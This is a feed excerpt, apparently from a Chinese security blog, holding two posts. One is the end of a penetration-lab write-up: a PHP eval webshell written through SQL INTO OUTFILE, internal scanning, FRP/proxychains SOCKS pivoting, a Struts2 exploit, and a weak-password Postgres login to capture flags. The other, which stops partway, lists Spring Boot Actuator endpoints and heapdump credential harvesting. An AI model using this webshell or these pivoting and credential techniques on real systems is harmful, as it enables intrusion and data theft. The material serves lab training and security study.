  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_18.png" alt="" /></figure>
<p>写入webshell</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#e6db74">&#34;&lt;?php @eval($_POST[1]);?&gt;&#34;</span> <span style="color:#66d9ef">into</span> outfile <span style="color:#e6db74">&#39;/var/www/html/shell.php&#39;</span>
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_19.png" alt="" /></figure>
<p>获取一个webshell</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_20.png" alt="" /></figure>
</p>
<p>这个机器好像不出网&hellip;.尝试了几种payload,都拿不到shell,也不同wget访问我的攻击机.</p>
<h3 id="蚁剑">蚁剑</h3>
<p>网上搜了一下,看到有不出网环境下使用蚁剑的例子.</p>
<p>用蚁剑看看
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_21.png" alt="" /></figure>
<p>拿到这个flag</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_22.png" alt="" /></figure>
<p>使用蚁剑的终端,来尝试反弹shell,但是还是不行,这好像是个不出网的环境…</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_23.png" alt="" /></figure>
<p>不过蚁剑带的文件上传功能能用</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_24.png" alt="" /></figure>
</p>
<h3 id="内网扫描-2">内网扫描</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">(</span>root:/tmp<span style="color:#f92672">)</span> $ ip a
</span></span><span style="display:flex;"><span>1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu <span style="color:#ae81ff">65536</span> qdisc noqueue state UNKNOWN qlen <span style="color:#ae81ff">1000</span>
</span></span><span style="display:flex;"><span>    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
</span></span><span style="display:flex;"><span>    inet 127.0.0.1/8 scope host lo
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>53: eth0@if54: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu <span style="color:#ae81ff">1500</span> qdisc noqueue state UP 
</span></span><span style="display:flex;"><span>    link/ether 02:42:0a:55:65:03 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet 10.85.101.3/24 brd 10.85.101.255 scope global eth0
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>57: eth1@if58: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu <span style="color:#ae81ff">1500</span> qdisc noqueue state UP 
</span></span><span style="display:flex;"><span>    link/ether 02:42:ac:38:66:04 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet 172.56.102.4/24 brd 172.56.102.255 scope global eth1
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span></code></pre></div><p>执行fscan之后,没有回显,但是有输出文件
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_25.png" alt="" /></figure>
<p>跟之前一样,多了一个172.56.102.1,这到底是啥???🤔,大概率就是我运行docker的parrot机器了</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>172.56.102.1:22 open
</span></span><span style="display:flex;"><span>172.56.102.4:80 open
</span></span><span style="display:flex;"><span>172.56.102.2:8080 open
</span></span><span style="display:flex;"><span>172.56.102.3:5432 open
</span></span><span style="display:flex;"><span>172.56.102.4:9000 open
</span></span><span style="display:flex;"><span>172.56.102.2:8009 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> FCGI 172.56.102.4:9000 
</span></span><span style="display:flex;"><span>Status: <span style="color:#ae81ff">403</span> Forbidden
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/8.2.8
</span></span><span style="display:flex;"><span>Content-type: text/html; charset<span style="color:#f92672">=</span>UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Access denied.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://172.56.102.4       code:200 len:19411  title:phpMyAdmin
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Postgres:172.56.102.3:5432:postgres password
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> InfoScan http://172.56.102.4       <span style="color:#f92672">[</span>phpMyAdmin<span style="color:#f92672">]</span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://172.56.102.2:8080  code:200 len:90     title:$Title$
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://172.56.102.2:8080 poc-yaml-struts2_045 poc1
</span></span></code></pre></div><h3 id="二重内网环境配置代理">二重内网环境配置代理</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>172.56.102.4   phpmyadmin
</span></span><span style="display:flex;"><span>172.56.102.3   Postgres
</span></span><span style="display:flex;"><span>172.56.102.2   struts2
</span></span></code></pre></div><p>这里直接拿巨魔的拓扑图
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_26.png" alt="" /></figure>
<p>我现在需要再配置一个socks代理,服务器放在thinkphp机器上,客户端放在phpmyadmin机器上</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">phpmyadmin</span>.<span style="color:#a6e22e">toml</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">serverAddr</span> = <span style="color:#e6db74">&#34;10.85.101.4&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">serverPort</span> = <span style="color:#ae81ff">7000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">proxies</span>]]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">name</span> = <span style="color:#e6db74">&#34;tp2php&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">type</span> = <span style="color:#e6db74">&#34;tcp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">remotePort</span> = <span style="color:#ae81ff">9998</span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">proxies</span>.<span style="color:#a6e22e">plugin</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">type</span> = <span style="color:#e6db74">&#34;socks5&#34;</span>
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_27.png" alt="" /></figure>
<p>然后在proxychains里面配置两个代理</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>socks5 192.168.122.102 <span style="color:#ae81ff">9998</span>
</span></span><span style="display:flex;"><span>socks5 10.85.101.4 <span style="color:#ae81ff">9998</span>
</span></span><span style="display:flex;"><span>或者
</span></span><span style="display:flex;"><span>socks5 127.0.0.1 <span style="color:#ae81ff">9998</span>
</span></span><span style="display:flex;"><span>socks5 127.0.0.1 <span style="color:#ae81ff">9998</span>
</span></span></code></pre></div><p>然后nmap扫一下,检查一下代理是否成功.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains nmap -Pn -sT -T4 172.56.102.2 -p8080
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains4.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span>Starting Nmap 7.94SVN <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2024-08-19 12:21 CST
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  127.0.0.1:9998  ...  127.0.0.1:9998  ...  172.56.102.2:8080  ...  OK
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 172.56.102.2
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.0058s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>8080/tcp open  http-proxy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 1.89 seconds
</span></span></code></pre></div><p>代理成功了,接下来需要在Windows上面也使用多重代理,这时候要上proxifier了.
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_28.png" alt="" /></figure>
<p>配置完之后,成功访问Struts服务器.</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_29.png" alt="" /></figure>
</p>
<h2 id="struts">Struts</h2>
<p>漏洞存在
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_30.png" alt="" /></figure>
<p>执行命令</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_31.png" alt="" /></figure>
<p>获取flag</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_32.png" alt="" /></figure>
</p>
<h2 id="postgres">Postgres</h2>
<p>之前fscan扫出来的弱口令
<code>[+] Postgres:172.56.102.3:5432:postgres password</code></p>
<p>登录之后获取flag</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>☁  workspace  sudo proxychains psql -h 172.56.102.3 -p <span style="color:#ae81ff">5432</span> -U postgres
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>sudo<span style="color:#f92672">]</span> password <span style="color:#66d9ef">for</span> l1uyun: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> config file found: /etc/proxychains4.conf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> DLL init: proxychains-ng 4.17
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  127.0.0.1:9998  ...  127.0.0.1:9998  ...  172.56.102.3:5432  ...  OK
</span></span><span style="display:flex;"><span>Password <span style="color:#66d9ef">for</span> user postgres: 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  127.0.0.1:9998  ...  127.0.0.1:9998  ...  172.56.102.3:5432  ...  OK
</span></span><span style="display:flex;"><span>psql <span style="color:#f92672">(</span>16.3 <span style="color:#f92672">(</span>Debian 16.3-1<span style="color:#f92672">)</span>, server 16.4<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;help&#34;</span> <span style="color:#66d9ef">for</span> help.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span><span style="color:#75715e"># help</span>
</span></span><span style="display:flex;"><span>You are using psql, the command-line interface to PostgreSQL.
</span></span><span style="display:flex;"><span>Type:  <span style="color:#ae81ff">\c</span>opyright <span style="color:#66d9ef">for</span> distribution terms
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\h</span> <span style="color:#66d9ef">for</span> help with SQL commands
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\?</span> <span style="color:#66d9ef">for</span> help with psql commands
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\g</span> or terminate with semicolon to execute query
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\q</span> to quit
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span><span style="color:#75715e"># \dt</span>
</span></span><span style="display:flex;"><span>Did not find any relations.
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span><span style="color:#75715e"># \l</span>
</span></span><span style="display:flex;"><span>                                                      List of databases
</span></span><span style="display:flex;"><span>   Name    |  Owner   | Encoding | Locale Provider |  Collate   |   Ctype    | ICU Locale | ICU Rules |   Access privileges   
</span></span><span style="display:flex;"><span>-----------+----------+----------+-----------------+------------+------------+------------+-----------+-----------------------
</span></span><span style="display:flex;"><span> flag      | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | 
</span></span><span style="display:flex;"><span> postgres  | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | 
</span></span><span style="display:flex;"><span> template0 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | <span style="color:#f92672">=</span>c/postgres          +
</span></span><span style="display:flex;"><span>           |          |          |                 |            |            |            |           | postgres<span style="color:#f92672">=</span>CTc/postgres
</span></span><span style="display:flex;"><span> template1 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |            |           | <span style="color:#f92672">=</span>c/postgres          +
</span></span><span style="display:flex;"><span>           |          |          |                 |            |            |            |           | postgres<span style="color:#f92672">=</span>CTc/postgres
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">4</span> rows<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span><span style="color:#75715e"># \c flag</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>proxychains<span style="color:#f92672">]</span> Strict chain  ...  127.0.0.1:9998  ...  127.0.0.1:9998  ...  172.56.102.3:5432  ...  OK
</span></span><span style="display:flex;"><span>psql <span style="color:#f92672">(</span>16.3 <span style="color:#f92672">(</span>Debian 16.3-1<span style="color:#f92672">)</span>, server 16.4<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>You are now connected to database <span style="color:#e6db74">&#34;flag&#34;</span> as user <span style="color:#e6db74">&#34;postgres&#34;</span>.
</span></span><span style="display:flex;"><span>flag<span style="color:#f92672">=</span><span style="color:#75715e"># \dt</span>
</span></span><span style="display:flex;"><span>        List of relations
</span></span><span style="display:flex;"><span> Schema | Name | Type  |  Owner
</span></span><span style="display:flex;"><span>--------+------+-------+----------
</span></span><span style="display:flex;"><span> public | flag | table | postgres
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> row<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag<span style="color:#f92672">=</span><span style="color:#75715e"># SELECT * FROM FLAG;</span>
</span></span><span style="display:flex;"><span>                            data
</span></span><span style="display:flex;"><span>-------------------------------------------------------------
</span></span><span style="display:flex;"><span> WSS-Studio<span style="color:#f92672">{</span>Postgresql-cb6cba4a-6d7b-43b6-bfc4-0146b0d0e5af<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> row<span style="color:#f92672">)</span>
</span></span></code></pre></div><h1 id="links">links</h1>
<p><a href="https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/Independent-Environment/Puff-Pastry/" target="_blank" rel="noopener nofollow noreferrer" >Puff-Pastry | Target Machines WriteUp</a></p>
<p><a href="https://blog.csdn.net/imtech/article/details/139829808" target="_blank" rel="noopener nofollow noreferrer" >FRP内网穿透及多级代理的使用</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[springboot利用]]></title><link href="https://l1uyun.one/posts/javasec-springboot%E6%A1%86%E6%9E%B6%E5%88%A9%E7%94%A8/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/javasec-springboot%E6%A1%86%E6%9E%B6%E5%88%A9%E7%94%A8/</id>
            
            <published>2024-08-06T09:32:00+08:00</published>
            <updated>2025-09-29T20:53:09+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="springboot利用">springboot利用</h1>
<h1 id="前置知识">前置知识</h1>
<h2 id="springboot-actuator">SpringBoot Actuator</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ，2.x 版本则统一以 /actuator 为起始路径
</span></span><span style="display:flex;"><span>Spring Boot Actuator 默认的内置路由名字，如 /env 有时候也会被程序员修改，比如修改成 /appenv
</span></span></code></pre></div><p>一般来讲，暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞，但是以 “默认安全” 来讲，不暴露出这些信息更加安全。</p>
<p>对于攻击者来讲，一般会仔细审计暴露出的接口以增加对业务系统的了解，并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。</p>
<h2 id="配置不当而暴露的路由">配置不当而暴露的路由</h2>
<p>主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险，或者没有按照标准流程开发，忘记上线时需要修改/切换生产环境的配置</p>
<p>因为配置不当而暴露的默认内置路由可能会有：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/actuator
</span></span><span style="display:flex;"><span>/auditevents
</span></span><span style="display:flex;"><span>/autoconfig
</span></span><span style="display:flex;"><span>/beans
</span></span><span style="display:flex;"><span>/caches
</span></span><span style="display:flex;"><span>/conditions
</span></span><span style="display:flex;"><span>/configprops
</span></span><span style="display:flex;"><span>/docs
</span></span><span style="display:flex;"><span>/dump
</span></span><span style="display:flex;"><span>/env
</span></span><span style="display:flex;"><span>/flyway
</span></span><span style="display:flex;"><span>/health
</span></span><span style="display:flex;"><span>/heapdump
</span></span><span style="display:flex;"><span>/httptrace
</span></span><span style="display:flex;"><span>/info
</span></span><span style="display:flex;"><span>/intergrationgraph
</span></span><span style="display:flex;"><span>/jolokia
</span></span><span style="display:flex;"><span>/logfile
</span></span><span style="display:flex;"><span>/loggers
</span></span><span style="display:flex;"><span>/liquibase
</span></span><span style="display:flex;"><span>/metrics
</span></span><span style="display:flex;"><span>/mappings
</span></span><span style="display:flex;"><span>/prometheus
</span></span><span style="display:flex;"><span>/refresh
</span></span><span style="display:flex;"><span>/scheduledtasks
</span></span><span style="display:flex;"><span>/sessions
</span></span><span style="display:flex;"><span>/shutdown
</span></span><span style="display:flex;"><span>/trace
</span></span><span style="display:flex;"><span>/threaddump
</span></span><span style="display:flex;"><span>/actuator/auditevents
</span></span><span style="display:flex;"><span>/actuator/beans
</span></span><span style="display:flex;"><span>/actuator/health
</span></span><span style="display:flex;"><span>/actuator/conditions
</span></span><span style="display:flex;"><span>/actuator/configprops
</span></span><span style="display:flex;"><span>/actuator/env
</span></span><span style="display:flex;"><span>/actuator/info
</span></span><span style="display:flex;"><span>/actuator/loggers
</span></span><span style="display:flex;"><span>/actuator/heapdump
</span></span><span style="display:flex;"><span>/actuator/threaddump
</span></span><span style="display:flex;"><span>/actuator/metrics
</span></span><span style="display:flex;"><span>/actuator/scheduledtasks
</span></span><span style="display:flex;"><span>/actuator/httptrace
</span></span><span style="display:flex;"><span>/actuator/mappings
</span></span><span style="display:flex;"><span>/actuator/jolokia
</span></span><span style="display:flex;"><span>/actuator/hystrix.stream
</span></span></code></pre></div><p>其中对寻找漏洞比较重要接口的有：</p>
<p>/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；</p>
<p>同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。</p>
<p>/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。</p>
<p>/restart、/actuator/restart
暴露出此接口的情况较少；可以配合 POST请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。</p>
<p>/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。</p>
<p>/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。</p>
<h2 id="漏洞检测">漏洞检测</h2>
<h3 id="检测清单">检测清单</h3>
<p><a href="https://github.com/LandGrey/SpringBootVulExploit" target="_blank" rel="noopener nofollow noreferrer" >https://github.com/LandGrey/SpringBootVulExploit</a>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_1.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_2.png" alt="" /></figure>
</p>
<h3 id="黑盒发现">黑盒发现</h3>
<p>人工识别，BP插件</p>
<p>人工识别
1、网站图片文件是一个绿色的树叶。2、特有的报错信息。3、Whitelabel Error Page关键字
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_3.png" alt="|750" /><figcaption>|750</figcaption></figure>
</p>
<p>BP插件
<a href="https://github.com/API-Security/APIKit" target="_blank" rel="noopener nofollow noreferrer" >https://github.com/API-Security/APIKit</a>
打开BurpSuite页面,点击Extender然后选择Extensions,添加APIKit.jar
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_4.png" alt="" /></figure>
<p>安装好插件后啥都不用管，让数据包经过BP即可触发插件被动扫描</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_5.png" alt="|800" /><figcaption>|800</figcaption></figure>
</p>
<h3 id="白盒发现">白盒发现</h3>
<p>pom.xml,引用库</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;dependency&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;groupId&gt;</span>org.springframework.boot<span style="color:#f92672">&lt;/groupId&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;artifactId&gt;</span>spring-boot-starter-actuator<span style="color:#f92672">&lt;/artifactId&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/dependency&gt;</span>
</span></span></code></pre></div><p>配置文件Actuator设置全部暴露<code>management.endpoints.web.exposure.include=*</code>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_6.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_7.png" alt="" /></figure>
</p>
<h2 id="信息泄露利用">信息泄露利用</h2>
<h3 id="内部路由泄露">内部路由泄露</h3>
<p><a href="https://github.com/AabyssZG/SpringBoot-Scan" target="_blank" rel="noopener nofollow noreferrer" >https://github.com/AabyssZG/SpringBoot-Scan</a>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_8.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_9.png" alt="" /></figure>
</p>
<h3 id="heapdump敏感信息查询">heapdump敏感信息查询</h3>
<p>配置密码，AK/SK等</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_10.png" alt="|800" /><figcaption>|800</figcaption></figure>
</p>
<p>下载下来
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_11.png" alt="" /></figure>
<p>然后使用JDumpSPider工具来获取数据</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_12.png" alt="" /></figure>
</p>
<p>![](<a href="https://img.l1uyun.one/Pasted" target="_blank" rel="noopener nofollow noreferrer" >https://img.l1uyun.one/Pasted</a> image 20240806101506.png)</p>
<p>这里还有另外一款工具,支持关键词搜索
<a href="https://github.com/wyzxxz/heapdump_tool" target="_blank" rel="noopener nofollow noreferrer" >https://github.com/wyzxxz/heapdump_tool</a>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_14.png" alt="|750" /><figcaption>|750</figcaption></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_15.png" alt="|850" /><figcaption>|850</figcaption></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_16.png" alt="" /></figure>
</p>
<h2 id="漏洞利用">漏洞利用</h2>
<h3 id="框架漏洞">框架漏洞</h3>
